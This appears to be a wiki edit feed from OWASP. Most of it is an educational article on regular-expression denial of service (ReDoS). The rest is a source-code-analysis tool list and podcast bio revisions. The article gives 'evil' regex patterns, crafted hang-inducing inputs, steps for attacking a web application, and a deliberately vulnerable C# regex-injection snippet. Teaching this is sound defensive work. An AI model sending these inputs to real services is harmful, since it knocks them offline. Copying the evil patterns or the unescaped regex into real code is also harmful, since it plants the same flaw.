[[Category: Resource Depletion]]<br />
[[Category:Attack]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Regular_expression_Denial_of_Service_-_ReDoS&diff=77726Regular expression Denial of Service - ReDoS2010-02-02T12:57:04Z<p>Adar Weidman: Adding an ReDoS as an attack</p>
<hr />
<div>{{template: Attack}}<br><br />
[[Category:OWASP ASDR Project]]<br />
<br />
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''<br />
<br />
<br />
==Introduction==<br />
The '''Regular expression Denial of Service (ReDoS)''' is a [[Denial of Service]] attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.<br />
<br />
==Description==<br />
===The problematic Regex naïve algorithm===<br />
The Regular Expression naïve algorithm builds a [http://en.wikipedia.org/wiki/Nondeterministic_finite_state_machine Nondeterministic Finite Automaton (NFA)], which is a finite state machine where for each pair of state and input symbol there may be several possible next states. Then the engine starts to make transition until the end of the input. Since there may be several possible next states, a deterministic algorithms is used. This algorithm tries one by one all the possible paths (if needed) until a match is found (or all the paths are tried and fail).<br />
<br />
For example, the Regex '''''^(a+)+$''''' is represented by the following NFA:<br />
<br />
:::[[File:NFA.png]]<br />
<br />
For the input '''''aaaaX''''' there are 16 possible paths in the above graph. But for '''''aaaaaaaaaaaaaaaaX''''' there are 65536 possible paths, and the number is double for each additional '''''a'''''. This is an extreme case where the naïve algorithm is problematic, because it must pass on many many paths, and then fail.<br />
<br />
Notice, that not all algorithms are naïve, and actually Regex algorithms can be written in an efficient way. Unfortunately, most Regex engines today try to solve not only "pure" Regexes, but also "expanded" Regexes with "special additions", such as back-references that cannot be always be solved efficiently (see '''Patterns for non-regular languages''' in [http://en.wikipedia.org/wiki/Regular_expression Wiki-Regex] for some more details). So even if the Regex is not "expanded", a naïve algorithm is used.<br />
<br />
===Evil Regexes===<br />
A Regex is called "evil" if it can stuck on crafted input.<br />
<br />
'''Evil Regex pattern contains''':<br />
* Grouping with repetition<br />
* Inside the repeated group:<br />
** Repetition<br />
** Alternation with overlapping<br />
<br />
'''Examples of Evil Patterns''':<br />
* (a+)+<br />
* ([a-zA-Z]+)*<br />
* (a|aa)+<br />
* (a|a?)+<br />
* (.*a){x} | for x > 10<br />
<br />
All the above are susceptible to the input '''''aaaaaaaaaaaaaaaaaaaaaaaa!''''' (The minimum input length might change slightly, when using faster or slower machines).<br />
<br />
===Attacks===<br />
The attacker might use the above knowledge to look for applications that use Regular Expressions, containing an '''Evil Regex''', and send a well-crafted input, that will hang the system. Alternatively, if a Regex itself is affected by a user input, the attacker can inject an '''Evil Regex''', and make the system vulnerable.<br />
<br />
==Risk Factors==<br />
The Web is Regex-Based:<br />
<br />
:::[[File:RegexBasedWeb.png]]<br />
<br />
In every layer of the WEB there are Regular Expressions, that might contain an '''Evil Regex'''. An attacker can hang a WEB-browser (on a computer or potentially also on a mobile device), hang a Web Application Firewall (WAF), attack a database, and even stack a vulnerable WEB server.<br />
<br />
For example, if a programmer uses a Regex to validate the client side of a system, and the Regex contains an '''Evil Regex''', the attacker can assume the same vulnerable Regex is used in the server side, and send a well-crafted input, that stacks the WEB server.<br />
<br />
==Examples==<br />
===Vulnerable Regex in online repositories===<br />
1. [http://regexlib.com/REDetails.aspx?regexp_id=1757 ReGexLib,id=1757 (email validation)] - see bold part, which is an '''Evil Regex'''<br />
^([a-zA-Z0-9])'''(([\-.]|[_]+)?([a-zA-Z0-9]+))*'''(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$<br />
<br />
Input:<br />
aaaaaaaaaaaaaaaaaaaaaaaa!<br />
<br />
2. [[OWASP Validation Regex Repository]], Java Classname - see bold part, which is an '''Evil Regex'''<br />
^'''(([a-z])+.)+'''[A-Z]([a-z])+$<br />
<br />
Input:<br />
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!<br />
<br />
===Web application attack===<br />
* Open a JavaScript <br />
* Find '''Evil Regex'''<br />
* Craft a malicious input for the found Regex<br />
* Submit a valid value via intercepting proxy <br />
* Change the request to contain a malicious input<br />
* You are done!<br />
<br />
===ReDoS via Regex Injection===<br />
The following example checks if the username is part of the password entered by the user.<br />
String userName = textBox1.Text;<br />
String password = textBox2.Text;<br />
Regex testPassword = new Regex(userName);<br />
Match match = testPassword.Match(password);<br />
if (match.Success)<br />
{<br />
MessageBox.Show("Do not include name in password.");<br />
}<br />
else<br />
{<br />
MessageBox.Show("Good password.");<br />
}<br />
If an attacker enters ''^(([a-z])+.)+[A-Z]([a-z])+$'' as a username and ''aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!'' as a password, the program will hang.<br />
==Related [[Threat Agents]]==<br />
TBD<br />
<br />
==Related [[Attacks]]==<br />
* [[Denial of Service]]<br />
<br />
==Related [[Vulnerabilities]]==<br />
* [[:Category: Input Validation Vulnerability]]<br />
* [[:Category: API Abuse]]<br />
<br />
==Related [[Controls]]==<br />
* [[Input Validation]]<br />
* [[Output Validation]]<br />
* [[Canonicalization]]<br />
<br />
==References ==<br />
* [http://www.cs.rice.edu/~scrosby/hash/slides/USENIX-RegexpWIP.2.ppt Regular Expression Denial Of Service / Crosby&Wallach, Usenix Security 2003]<br />
* [http://www.checkmarx.com/NewsDetails.aspx?id=23&cat=3 Regular expression Denial of Service Revisited]<br />
* [[Media:20091210_VAC-REGEX_DOS-Adar_Weidman.pdf| VAC Presentation - ReDoS, OWASP-NL Chapter meeting Dec-2009]]<br />
* [[Podcast 56|OWASP podcast about ReDoS]]<br />
* [[OWASP Validation Regex Repository]]<br />
* [http://regexlib.com/ RegExLib]<br />
* Examples of ReDoS in open source applications:<br />
** [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3277 ReDoS in DataVault]<br />
** [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3275 ReDoS in EntLib]<br />
** [http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3276 ReDoS in NASD CORE.NET Terelik]<br />
<br />
==Credit==<br />
{{Template:Checkmarx}}<br />
[[Category:Attack]]<br />
[[Category:Injection]]</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=File:RegexBasedWeb.png&diff=77708File:RegexBasedWeb.png2010-02-02T08:32:11Z<p>Adar Weidman: The web is Regex-based</p>
<hr />
<div>The web is Regex-based</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=File:NFA.png&diff=77619File:NFA.png2010-02-01T17:31:14Z<p>Adar Weidman: An example of a Nondeterministic Finite Automanon</p>
<hr />
<div>An example of a Nondeterministic Finite Automanon</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Template:Checkmarx&diff=77611Template:Checkmarx2010-02-01T11:53:11Z<p>Adar Weidman: fixed link</p>
<hr />
<div>:This article includes content donated to OWASP by [http://www.checkmarx.com http://www.owasp.org/images/b/b0/Checkmarx.JPG].</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Template:Checkmarx&diff=77610Template:Checkmarx2010-02-01T11:50:53Z<p>Adar Weidman: Adding a template for checkmarx (the same as Fortify's template)</p>
<hr />
<div>:This article includes content donated to OWASP by [[file:Checkmarx.JPG|www.checkmarx.com]].</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=File:Checkmarx.JPG&diff=77609File:Checkmarx.JPG2010-02-01T11:49:47Z<p>Adar Weidman: uploaded a new version of "File:Checkmarx.JPG":&#32;Reverted to version as of 11:41, 1 February 2010</p>
<hr />
<div>Checkmarx logo</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=File:Checkmarx.JPG&diff=77608File:Checkmarx.JPG2010-02-01T11:49:04Z<p>Adar Weidman: uploaded a new version of "File:Checkmarx.JPG":&#32;Checkmarx logo</p>
<hr />
<div>Checkmarx logo</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=File:Checkmarx.JPG&diff=77607File:Checkmarx.JPG2010-02-01T11:41:44Z<p>Adar Weidman: Checkmarx logo</p>
<hr />
<div>Checkmarx logo</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Source_Code_Analysis_Tools&diff=77025Source Code Analysis Tools2010-01-28T10:51:46Z<p>Adar Weidman: Added Checkmarx to the list</p>
<hr />
<div>Source Code Analysis tools are designed to analyze source code and/or compiled version of code in order to help find security flaws. Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.<br />
<br />
Some tools are starting to move into the IDE. For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.<br />
<br />
==Strengths and Weaknesses of such tools==<br />
<br />
=== Strengths ===<br />
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))<br />
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.<br />
<br />
=== Weaknesses ===<br />
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.<br />
* High numbers of false positives.<br />
* Frequently can't find configuration issues, since they are not represented in the code.<br />
* Difficult to 'prove' that an identified security issue is an actual vulnerability.<br />
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.<br />
<br />
==Important Selection Criteria==<br />
<br />
* Requirement: Must support your language, but not usually a key factor once it does.<br />
<br />
* Types of Vulnerabilities it can detect (Out of the OWASP Top Ten?) (plus more?)<br />
* Does it require a fully buildable set of source?<br />
* Can it run against binaries instead of source?<br />
* Can it be integrated into the developer's IDE?<br />
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)<br />
<br />
==OWASP Tools Of This Type==<br />
* [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]<br />
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]]<br />
* [[OWASP O2 Platform]]<br />
<br />
==Open Source or Free Tools Of This Type==<br />
<br />
* [http://findbugs.sourceforge.net/ FindBugs] - Find Bugs (including some security flaws) in Java Programs<br />
* [http://msdn.microsoft.com/en-us/library/bb429476(VS.80).aspx FxCop] (Microsoft) - FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.<br />
* [http://pmd.sourceforge.net/ PMD] - PMD scans Java source code and looks for potential code problems (this is a code quality tool that does not focus on security issues)<br />
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx PreFast] (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++ programs<br />
* [http://www.fortify.com/security-resources/rats.jsp RATS] (Fortify) - Scans C, C++, Perl, PHP and Python source code for security problems like buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions<br />
* [http://www.securitycompass.com/inner_swaat.shtml SWAAT] - Simplistic Beta Tool - Languages: Java, JSP, ASP .Net, and PHP<br />
* [http://www.dwheeler.com/flawfinder/ Flawfinder] Flawfinder - Scans C and C++<br />
<br />
==Commercial Tools from OWASP Members Of This Type==<br />
<br />
These vendors have decided to support OWASP by becoming [[Membership|members]]. OWASP appreciates the support from these organizations, but cannot endorse any commercial products or services.<br />
<br />
* [http://www.armorize.com/corpweb/en/products/codesecure Static Source Code Analysis with CodeSecure™] (Armorize Technologies)<br />
* [http://www.artofdefence.com/en/hypersource/hypersource.html Static Source Code Analysis with hypersource] (art of defence)<br />
* [http://www.fortifysoftware.com/products/sca.jsp Source Code Analysis] (Fortify)<br />
* [http://www.ouncelabs.com/ Ounce] (Ounce Labs)<br />
<br />
==Other Well Known Commercial Tools Of This Type==<br />
<br />
* [http://www.checkmarx.com/Products.aspx?id=3 CxSuite] (Checkmarx)<br />
* [http://www.coverity.com/products/prevent.html Prevent] (Coverity)<br />
* [http://www.klocwork.com/products/insight.asp Insight] (KlocWork)<br />
<br />
==More Info==<br />
<br />
* TODO: add comments from: http://lists.owasp.org/pipermail/owasp-dotnet/2006-August/000002.html<br />
* [[Appendix_A:_Testing_Tools | Appendix A: Testing Tools]]<br />
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers NIST's list of Source Code Security Analysis Tools]<br />
<br />
[[Category:OWASP .NET Project]]<br />
<br />
<br />
__NOTOC__</div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Podcast_56&diff=74943Podcast 562009-12-08T11:26:43Z<p>Adar Weidman: CheckmarX</p>
<hr />
<div>'''[[OWASP_Podcast|OWASP Podcast Series]] #56'''<br />
<br />
OWASP Interview with Adar Weidman<br/><br />
Published December 7, 2009<br/><br />
<br />
[http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=300769012 http://www.owasp.org/download/jmanico/itunes.jpg] [http://www.owasp.org/download/jmanico/podcast.xml https://www.owasp.org/images/d/d3/Feed-icon-32x32.png] [http://www.owasp.org/download/jmanico/owasp_podcast_56.mp3 mp3]<br />
<br />
==Participants==<br />
<ul><br />
<li><br />
<b>Adar Weidman</b> is a senior software developer at [http://www.checkmarx.com Checkmarx].<br />
Adar has been active in the High Tech industry for over 15 years working as a software developer, algorithms expert and team leader. Adar holds a Bachelor’s degree in Computer Science, and a Master's degree in Operations Research and System Analysis from the Technion University in Israel. Prior to joining Checkmarx, Adar was a senior algorithms developer in [http://www.retalix.com Retalix]. Adar has also held research and managerial positions in a governmental agency for over 10 years.<br />
</li></div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Podcast_56&diff=74941Podcast 562009-12-08T08:55:47Z<p>Adar Weidman: </p>
<hr />
<div>'''[[OWASP_Podcast|OWASP Podcast Series]] #56'''<br />
<br />
OWASP Interview with Adar Weidman<br/><br />
Published December 7, 2009<br/><br />
<br />
[http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=300769012 http://www.owasp.org/download/jmanico/itunes.jpg] [http://www.owasp.org/download/jmanico/podcast.xml https://www.owasp.org/images/d/d3/Feed-icon-32x32.png] [http://www.owasp.org/download/jmanico/owasp_podcast_56.mp3 mp3]<br />
<br />
==Participants==<br />
<ul><br />
<li><br />
<b>Adar Weidman</b> is a senior software developer at [http://www.checkmarx.com Checkmark].<br />
Adar has been active in the High Tech industry for over 15 years working as a software developer, algorithms expert and team leader. Adar holds a Bachelor’s degree in Computer Science, and a Master's degree in Operations Research and System Analysis from the Technion University in Israel. Prior to joining Checkmarx, Adar was a senior algorithms developer in [http://www.retalix.com Retalix]. Adar has also held research and managerial positions in a governmental agency for over 10 years.<br />
</li></div>Adar Weidmanhttps://wiki.owasp.org/index.php?title=Podcast_56&diff=74940Podcast 562009-12-08T08:53:44Z<p>Adar Weidman: </p>
<hr />
<div>'''[[OWASP_Podcast|OWASP Podcast Series]] #56'''<br />
<br />
OWASP Interview with Adar Weidman<br/><br />
Published December 7, 2009<br/><br />
<br />
[http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewPodcast?id=300769012 http://www.owasp.org/download/jmanico/itunes.jpg] [http://www.owasp.org/download/jmanico/podcast.xml https://www.owasp.org/images/d/d3/Feed-icon-32x32.png] [http://www.owasp.org/download/jmanico/owasp_podcast_56.mp3 mp3]<br />
<br />
==Participants==<br />
<ul><br />
<li><br />
<b>Adar Weidman</b> is a software developer at [http://www.checkmarx.com Checkmark].<br />
Adar has been active in the High Tech industry for over 15 years working as a software developer, algorithms expert and team leader. Adar holds a Bachelor’s degree in Computer Science, and a Master's degree in Operations Research and System Analysis from the Technion University in Israel. Prior to joining Checkmarx, Adar was a senior algorithms developer in [http://www.retalix.com Retalix]. Adar has also held research and managerial positions in a governmental agency for over 10 years.<br />
</li></div>Adar Weidman